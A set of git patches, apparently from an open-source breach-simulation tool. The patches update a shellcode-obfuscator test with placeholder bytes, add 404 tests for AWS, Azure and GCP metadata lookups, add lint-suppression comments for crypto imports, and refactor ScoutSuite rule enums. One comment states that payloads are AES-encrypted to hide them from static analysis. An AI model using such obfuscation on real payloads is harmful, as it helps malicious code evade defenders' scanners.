+++ b/monkey/common/utils/test_shellcode_obfuscator.py @@ -2,16 +2,14 @@ from unittest import TestCase from common.utils.shellcode_obfuscator import clarify, obfuscate -SHELLCODE_FROM_CMD_PARAM = '\\x52\\x3d\\xf6\\xc9\\x4b\\x5d\\xe0\\x62\\x7e\\x3d\\xa8\\x07\\x7b\\x76\\x30' -OBFUSCATED_PARAM_OUTPUT = '\\x30\\x76\\x7b\\x07\\xa8\\x3d\\x7e\\x62\\xe0\\x5d\\x4b\\xc9\\xf6\\x3d\\x52' -OBFUSCATED_SHELLCODE = "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52" -CLARIFIED_SHELLCODE = "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" +SHELLCODE = b'1234567890abcd' +OBFUSCATED_SHELLCODE = b'\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=' class TestShellcodeObfuscator(TestCase): def test_obfuscate(self): - self.assertEqual(obfuscate(SHELLCODE_FROM_CMD_PARAM), OBFUSCATED_PARAM_OUTPUT) + assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE def test_clarify(self): - self.assertEqual(clarify(OBFUSCATED_SHELLCODE), CLARIFIED_SHELLCODE) + assert clarify(OBFUSCATED_SHELLCODE) == SHELLCODE From 11a0477dbbd6e9677e69f6290ca6caedd744eb36 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 10 Feb 2021 16:15:17 +0530 Subject: [PATCH 248/466] Rename test functions, add 404 response tests, and other tiny changes --- monkey/common/cloud/aws/aws_instance.py | 3 +- monkey/common/cloud/aws/test_aws_instance.py | 150 +++++++++++------- monkey/common/cloud/azure/azure_instance.py | 2 +- .../common/cloud/azure/test_azure_instance.py | 20 +++ monkey/common/cloud/gcp/test_gcp_instance.py | 14 ++ 5 files changed, 132 insertions(+), 57 deletions(-) diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index f667f3fb2..75dee4ce9 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -32,7 +32,8 @@ class AwsInstance(CloudInstance): self.account_id = None try: - self.instance_id = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).text + response = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2) + self.instance_id = response.text if response else None self.region = self._parse_region( requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').text) except (requests.RequestException, IOError) as e: diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py index d458e11a8..0353a0b9f 100644 --- a/monkey/common/cloud/aws/test_aws_instance.py +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -98,63 +98,63 @@ def test_get_account_id_good_data(good_data_mock_instance): # 'region' bad data @pytest.fixture -def bad_data_mock_instance_1(): +def bad_region_data_mock_instance(): return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, 'region': 'in-a-different-world', 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) -def test_is_instance_bad_data_1(bad_data_mock_instance_1): - assert bad_data_mock_instance_1.is_instance() +def test_is_instance_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.is_instance() -def test_get_cloud_provider_name_bad_data_1(bad_data_mock_instance_1): - assert bad_data_mock_instance_1.get_cloud_provider_name() == Environment.AWS +def test_get_cloud_provider_name_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_cloud_provider_name() == Environment.AWS -def test_get_instance_id_bad_data_1(bad_data_mock_instance_1): - assert bad_data_mock_instance_1.get_instance_id() == EXPECTED_INSTANCE_ID +def test_get_instance_id_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID -def test_get_region_bad_data_1(bad_data_mock_instance_1): - assert bad_data_mock_instance_1.get_region() is None +def test_get_region_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_region() is None -def test_get_account_id_bad_data_1(bad_data_mock_instance_1): - assert bad_data_mock_instance_1.get_account_id() == EXPECTED_ACCOUNT_ID +def test_get_account_id_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID # 'account_id' bad data @pytest.fixture -def bad_data_mock_instance_2(): +def bad_account_id_data_mock_instance(): return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, 'region': AVAILABILITY_ZONE_RESPONSE, 'account_id': 'who-am-i'}) -def test_is_instance_bad_data_2(bad_data_mock_instance_2): - assert bad_data_mock_instance_2.is_instance() +def test_is_instance_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.is_instance() -def test_get_cloud_provider_name_bad_data_2(bad_data_mock_instance_2): - assert bad_data_mock_instance_2.get_cloud_provider_name() == Environment.AWS +def test_get_cloud_provider_name_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_cloud_provider_name() == Environment.AWS -def test_get_instance_id_bad_data_2(bad_data_mock_instance_2): - assert bad_data_mock_instance_2.get_instance_id() == EXPECTED_INSTANCE_ID +def test_get_instance_id_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID -def test_get_region_bad_data_2(bad_data_mock_instance_2): - assert bad_data_mock_instance_2.get_region() == EXPECTED_REGION +def test_get_region_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_region() == EXPECTED_REGION -def test_get_account_id_bad_data_2(bad_data_mock_instance_2): - assert bad_data_mock_instance_2.get_account_id() is None +def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_account_id() is None # 'instance_id' bad requests @pytest.fixture -def bad_request_mock_instance_1(instance_id_exception): +def bad_instance_id_request_mock_instance(instance_id_exception): return get_test_aws_instance(text={'instance_id': None, 'region': AVAILABILITY_ZONE_RESPONSE, 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, @@ -164,33 +164,33 @@ def bad_request_mock_instance_1(instance_id_exception): @pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) -def test_is_instance_bad_request_1(bad_request_mock_instance_1): - assert bad_request_mock_instance_1.is_instance() is False +def test_is_instance_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.is_instance() is False @pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) -def test_get_cloud_provider_name_bad_request_1(bad_request_mock_instance_1): - assert bad_request_mock_instance_1.get_cloud_provider_name() == Environment.AWS +def test_get_cloud_provider_name_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS @pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) -def test_get_instance_id_bad_request_1(bad_request_mock_instance_1): - assert bad_request_mock_instance_1.get_instance_id() is None +def test_get_instance_id_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_instance_id() is None @pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) -def test_get_region_bad_request_1(bad_request_mock_instance_1): - assert bad_request_mock_instance_1.get_region() is None +def test_get_region_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_region() is None @pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) -def test_get_account_id_bad_request_1(bad_request_mock_instance_1): - assert bad_request_mock_instance_1.get_account_id() == EXPECTED_ACCOUNT_ID +def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID # 'region' bad requests @pytest.fixture -def bad_request_mock_instance_2(region_exception): +def bad_region_request_mock_instance(region_exception): return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, 'region': None, 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, @@ -200,33 +200,33 @@ def bad_request_mock_instance_2(region_exception): @pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) -def test_is_instance_bad_request_2(bad_request_mock_instance_2): - assert bad_request_mock_instance_2.is_instance() +def test_is_instance_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.is_instance() @pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) -def test_get_cloud_provider_name_bad_request_2(bad_request_mock_instance_2): - assert bad_request_mock_instance_2.get_cloud_provider_name() == Environment.AWS +def test_get_cloud_provider_name_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_cloud_provider_name() == Environment.AWS @pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) -def test_get_instance_id_bad_request_2(bad_request_mock_instance_2): - assert bad_request_mock_instance_2.get_instance_id() == EXPECTED_INSTANCE_ID +def test_get_instance_id_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID @pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) -def test_get_region_bad_request_2(bad_request_mock_instance_2): - assert bad_request_mock_instance_2.get_region() is None +def test_get_region_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_region() is None @pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) -def test_get_account_id_bad_request_2(bad_request_mock_instance_2): - assert bad_request_mock_instance_2.get_account_id() == EXPECTED_ACCOUNT_ID +def test_get_account_id_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID # 'account_id' bad requests @pytest.fixture -def bad_request_mock_instance_3(account_id_exception): +def bad_account_id_request_mock_instance(account_id_exception): return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, 'region': AVAILABILITY_ZONE_RESPONSE, 'account_id': None}, @@ -236,25 +236,65 @@ def bad_request_mock_instance_3(account_id_exception): @pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) -def test_is_instance_bad_request_3(bad_request_mock_instance_3): - assert bad_request_mock_instance_3.is_instance() +def test_is_instance_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.is_instance() @pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) -def test_get_cloud_provider_name_bad_request_3(bad_request_mock_instance_3): - assert bad_request_mock_instance_3.get_cloud_provider_name() == Environment.AWS +def test_get_cloud_provider_name_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS @pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) -def test_get_instance_id_bad_request_3(bad_request_mock_instance_3): - assert bad_request_mock_instance_3.get_instance_id() == EXPECTED_INSTANCE_ID +def test_get_instance_id_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID @pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) -def test_get_region_bad_request_3(bad_request_mock_instance_3): - assert bad_request_mock_instance_3.get_region() == EXPECTED_REGION +def test_get_region_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_region() == EXPECTED_REGION @pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) -def test_get_account_id_bad_request_3(bad_request_mock_instance_3): - assert bad_request_mock_instance_3.get_account_id() is None +def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_account_id() is None + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + with requests_mock.Mocker() as m: + # request made to get instance_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + m.get(url, status_code=404) + + # request made to get region + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + m.get(url) + + # request made to get account_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + m.get(url) + + not_found_aws_instance_object = AwsInstance() + return not_found_aws_instance_object + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_instance_id() is None + + +def test_get_region_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_region() is None + + +def test_get_account_id_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_account_id() is None diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index 79e6b24da..969e4a8ca 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -44,7 +44,7 @@ class AzureInstance(CloudInstance): logger.debug("Trying to parse Azure metadata.") self.try_parse_response(response) else: - logger.warning(f"On Azure, but metadata response not ok: {response.status_code}") + logger.warning(f"Metadata response not ok: {response.status_code}") except requests.RequestException: logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py index 0894205c1..680af90ed 100644 --- a/monkey/common/cloud/azure/test_azure_instance.py +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -177,3 +177,23 @@ def test_instance_attributes_bad_request(bad_request_mock_instance): assert bad_request_mock_instance.instance_name is None assert bad_request_mock_instance.instance_id is None assert bad_request_mock_instance.location is None + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, status_code=404) + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.instance_name is None + assert not_found_request_mock_instance.instance_id is None + assert not_found_request_mock_instance.location is None diff --git a/monkey/common/cloud/gcp/test_gcp_instance.py b/monkey/common/cloud/gcp/test_gcp_instance.py index 46620f339..9170b81c5 100644 --- a/monkey/common/cloud/gcp/test_gcp_instance.py +++ b/monkey/common/cloud/gcp/test_gcp_instance.py @@ -39,3 +39,17 @@ def test_is_instance_bad_request(bad_request_mock_instance): def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): assert bad_request_mock_instance.get_cloud_provider_name() == Environment.GCP + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL, status_code=404) + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.GCP From e4bcf2ef1cb7e09655ac155da6e4ce0b4618b1e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 Feb 2021 08:09:07 -0500 Subject: [PATCH 249/466] cc: ignore pycrypto security warnings since we use pycryptodome --- monkey/monkey_island/cc/encryptor.py | 4 ++-- monkey/monkey_island/scripts/island_password_hasher.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py index cf1f02081..f29fdb2cc 100644 --- a/monkey/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/encryptor.py @@ -2,8 +2,8 @@ import base64 import os # PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but it maintained -from Crypto import Random # noqa: DOU133 -from Crypto.Cipher import AES # noqa: DOU133 +from Crypto import Random # noqa: DOU133 # nosec: B413 +from Crypto.Cipher import AES # noqa: DOU133 # nosec: B413 from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py index 334875477..9e3aac153 100644 --- a/monkey/monkey_island/scripts/island_password_hasher.py +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -7,7 +7,7 @@ for more details. import argparse -from Crypto.Hash import SHA3_512 # noqa: DUO133 +from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413 def main(): From a7b79d6d03de4fa7f4705a8d72730b9f92cfc06e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 Feb 2021 08:26:10 -0500 Subject: [PATCH 250/466] cc: fix typo in pycrypto noqa comment --- monkey/monkey_island/cc/encryptor.py | 7 ++++--- monkey/monkey_island/scripts/island_password_hasher.py | 2 ++ 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py index f29fdb2cc..8c59ca58b 100644 --- a/monkey/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/encryptor.py @@ -1,9 +1,10 @@ import base64 import os -# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but it maintained -from Crypto import Random # noqa: DOU133 # nosec: B413 -from Crypto.Cipher import AES # noqa: DOU133 # nosec: B413 +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but +# is maintained. +from Crypto import Random # noqa: DUO133 # nosec: B413 +from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py index 9e3aac153..61212e734 100644 --- a/monkey/monkey_island/scripts/island_password_hasher.py +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -7,6 +7,8 @@ for more details. import argparse +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but +# is maintained. from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413 From f11736d45117ff6389b32e00dc7b4345e6ca1c10 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 11 Feb 2021 15:29:29 +0200 Subject: [PATCH 251/466] Added no inspection comments and an explanation on why we use Crypto for shellcode_obfuscator.py --- monkey/common/utils/shellcode_obfuscator.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py index 686347359..4e4c2ed3d 100644 --- a/monkey/common/utils/shellcode_obfuscator.py +++ b/monkey/common/utils/shellcode_obfuscator.py @@ -4,7 +4,8 @@ import sys -from Crypto.Cipher import AES +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports +from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 # We only encrypt payloads to hide them from static analysis # it's OK to have these keys plaintext From 3cb2a63a9d098c034f63f1c9adfc77919e2f43bc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 11 Feb 2021 15:44:20 +0200 Subject: [PATCH 252/466] Changed rule name classes to inherit from RuleNameEnum to add a more specific type hints --- .../scoutsuite/consts/rule_names/cloudformation_rules.py | 4 ++-- .../scoutsuite/consts/rule_names/cloudtrail_rules.py | 4 ++-- .../scoutsuite/consts/rule_names/cloudwatch_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/config_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/ec2_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/elb_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/iam_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/rds_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/redshift_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/s3_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/ses_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/sns_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/sqs_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/rule_names/vpc_rules.py | 4 ++-- .../zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py | 3 ++- .../rule_path_building/abstract_rule_path_creator.py | 4 ++-- 17 files changed, 34 insertions(+), 33 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py index f5c069b4f..f8c87083e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class CloudformationRules(Enum): +class CloudformationRules(RuleNameEnum): # Service Security CLOUDFORMATION_STACK_WITH_ROLE = 'cloudformation-stack-with-role' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py index ac75ef203..886999341 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class CloudTrailRules(Enum): +class CloudTrailRules(RuleNameEnum): # Logging CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = 'cloudtrail-duplicated-global-services-logging' CLOUDTRAIL_NO_DATA_LOGGING = 'cloudtrail-no-data-logging' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py index 2209f7788..d22baafc7 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py @@ -1,6 +1,6 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class CloudWatchRules(Enum): +class CloudWatchRules(RuleNameEnum): # Logging CLOUDWATCH_ALARM_WITHOUT_ACTIONS = 'cloudwatch-alarm-without-actions' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py index 81e2574f8..5d86b0b3e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py @@ -1,6 +1,6 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class ConfigRules(Enum): +class ConfigRules(RuleNameEnum): # Logging CONFIG_RECORDER_NOT_CONFIGURED = 'config-recorder-not-configured' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py index 4d7cc8075..dddf18b99 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class EC2Rules(Enum): +class EC2Rules(RuleNameEnum): # Permissive firewall rules SECURITY_GROUP_ALL_PORTS_TO_ALL = 'ec2-security-group-opens-all-ports-to-all' SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = 'ec2-security-group-opens-TCP-port-to-all' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py index 51a8f9d55..0d1d4e5d9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class ELBRules(Enum): +class ELBRules(RuleNameEnum): # Logging ELB_NO_ACCESS_LOGS = 'elb-no-access-logs' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py index 0d2d97681..f7a264cf3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class ELBv2Rules(Enum): +class ELBv2Rules(RuleNameEnum): # Encryption ELBV2_LISTENER_ALLOWING_CLEARTEXT = 'elbv2-listener-allowing-cleartext' ELBV2_OLDER_SSL_POLICY = 'elbv2-older-ssl-policy' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py index 39b7ec4be..fef58e066 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class IAMRules(Enum): +class IAMRules(RuleNameEnum): # Authentication/authorization IAM_USER_NO_ACTIVE_KEY_ROTATION = 'iam-user-no-Active-key-rotation' IAM_PASSWORD_POLICY_MINIMUM_LENGTH = 'iam-password-policy-minimum-length' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py index fc7af9876..b303c8573 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class RDSRules(Enum): +class RDSRules(RuleNameEnum): # Encryption RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = 'rds-instance-storage-not-encrypted' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py index 5df21d981..2538cf54d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class RedshiftRules(Enum): +class RedshiftRules(RuleNameEnum): # Encryption REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = 'redshift-cluster-database-not-encrypted' REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = 'redshift-parameter-group-ssl-not-required' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py index b606fb050..4ba27a57a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py @@ -1,7 +1,7 @@ -from enum import Enum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -class S3Rules(Enum): +class S3Rules(RuleNameEnum): # Encryption S3_BUCKET_ALLOWING_CLEARTEXT = 's3-bucket-allowing-cleartext' S3_BUCKET_NO_DEFAULT_ENCRYPTION = 's3-bucket-no-default-encryption' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py index 94a9c9034..4cb875c6d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py 